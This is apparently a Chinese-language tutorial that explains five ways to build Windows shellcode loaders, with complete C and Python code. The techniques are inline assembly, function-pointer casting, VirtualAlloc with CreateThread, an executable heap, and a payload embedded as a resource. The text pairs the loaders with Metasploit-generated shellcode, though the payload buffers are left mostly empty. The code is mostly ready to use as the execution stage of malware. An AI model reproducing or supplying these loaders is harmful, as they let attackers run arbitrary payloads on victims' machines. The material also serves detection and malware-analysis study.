常见的加载方式

1.内联汇编加载

使用内联汇编只能加载32位程序的ShellCode,因为64位程序不支持写内联汇编

#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>

//ShellCode部分
unsigned char buf[] = "";

void main() {
    
	__asm {
		lea eax,buf    // 将buf的地址加载到eax寄存器
		call eax  // 使用call指令跳转到eax寄存器指向的地址(即buf),开始执行shellcode
	}
}

2.使用函数指针加载

如下代码所示,(void(*)(void))是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数,也就是说这行代码将 buf 的地址转换为一个函数指针,然后调用该指针所指向的函数,其实这种方法和上述加载方式原理是一样的,只不过这种方法还能用于加载64位的ShellCode

#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>

//ShellCode部分
unsigned char buf[] ="0x??";

void main() {   
	((void(*)(void)) & buf)();  //执行ShellCode
}

3.创建线程加载

上述两种方法都需要将data节的内存设置成可读可写可执行, 以下这段代码的主要作用是在内存中分配一段可执行的内存空间,将buf数组中的内容复制到该内存空间,并创建一个新线程来执行这段内存中的代码

#include <Windows.h>

unsigned char buf[] = "";


void main() {

	// 申请一块可进行读写操作的内存
    LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存中
    RtlMoveMemory(pMemory, buf, sizeof(buf));

    // 创建一个新的线程来执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待新创建的线程执行完成
    WaitForSingleObject(hThread, INFINITE);

}

下述是申请内存加载的python版本代码:

#使用MSF生成的python格式的ShellCode
buf =  b""
buf += b"\xf0\xb5\xa2\x56\xff\xd5"

#bytearray()函数返回一个新字节数组
shellcode= bytearray(buf)


#VirtualAlloc函数用来开辟内存空间,返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))

#RtlMoveMemory函数将Shellcode加载至此段内存空间
buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
   ctypes.c_uint64(ptr),
   buf,
   ctypes.c_int(len(shellcode))
)

#使用CreateThread函数创建一个线程从Shellcode的起始地址开始执行此段内存空间的内容
handle= ctypes.windll.kernel32.CreateThread(
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.c_uint64(ptr),
   ctypes.c_int(0),
   ctypes.c_int(0),
   ctypes.pointer(ctypes.c_int(0))
)

#通过WaitForSingleObject函数来等待执行结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

4.通过堆加载

这段代码首先创建了一个具有执行权限的堆,然后在堆中分配内存并将shellcode复制到内存中。最后,代码通过直接调用存储在内存中的shellcode来执行它

#include <Windows.h>

// 定义 shellcode(恶意代码)
unsigned char shellcode[] = "";

// 主函数
void main() {
    // 创建一个具有执行权限的堆,以存储shellcode
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);

    // 在创建的堆中分配一块内存,并将其地址赋给buffer
    char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

    // 将shellcode复制到buffer指向的内存中
    memcpy(buffer, shellcode, sizeof(shellcode));

    // 下面是另一种创建线程的方法,这里被注释掉了
    // 创建一个新线程并执行buffer指向的内存中的shellcode
    // HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);

    // 等待新线程执行完毕
    // WaitForSingleObject(hThread, INFINITE);

    // 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode
    ((void(*)(void)) buffer)();
}

5.基于资源节加载

导入资源

使用MSF生成bin文件,随后点击添加资源->导入,并选择生成的bin文件

然后自定义bin文件的资源类型, 此处我自定义的类型为"shellcode",当然你也可以定义成其它的名字

添加完资源后会在当前项目生成一个resource.h, 代码如下所示,这里只需注意这段代码#define IDR_SHELLCODE1 101

#include <Windows.h>
#include "resource.h"


//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 Shellcode加载器.rc 使用
//

//IDR_SHELLCODE1 通常用于标识和引用项目中的某个资源,例如嵌入到可执行文件中的二进制数据、图像或其他类型的资源,在项目的其他部分(例如代码或资源脚本中),可以通过使用 IDR_SHELLCODE1 符号来引用这个资源,而不是直接使用数字常量(如 101
#define IDR_SHELLCODE1                  101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

实现代码

以下是完整shellcode加载器代码:

#include <Windows.h>
#include "resource.h"

//通过资源加载ShellCode
void ResourceLoader() {

    /*
    FindResource用于查找指定模块(EXE或DLL文件)中指定名称和类型的资源,其语法格式如下:
    HRSRC FindResource(
          HMODULE hModule,  //指向包含要查找的资源的模块的句柄,若该参数为NULL,则查找当前进程中的资源
          LPCTSTR lpName,   //指向资源名称的指针,可以是一个字符串或者一个整数,若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源标识符
          LPCTSTR lpType    //指向资源类型的指针,可以是一个字符串或者一个整数。若是一个整数,则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
    );
    如果查找成功,则返回资源句柄;否则返回NULL
    */
    HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");

    //用于获取资源的大小
    DWORD ResSize = SizeofResource(NULL, Res);

    //LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
    HGLOBAL Load = LoadResource(NULL, Res);

    //申请内存
    void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(buffer, Load, ResSize);

    //执行shellcode
    ((void(*)(void)) buffer)();
}

int main() {

    ResourceLoader();
}

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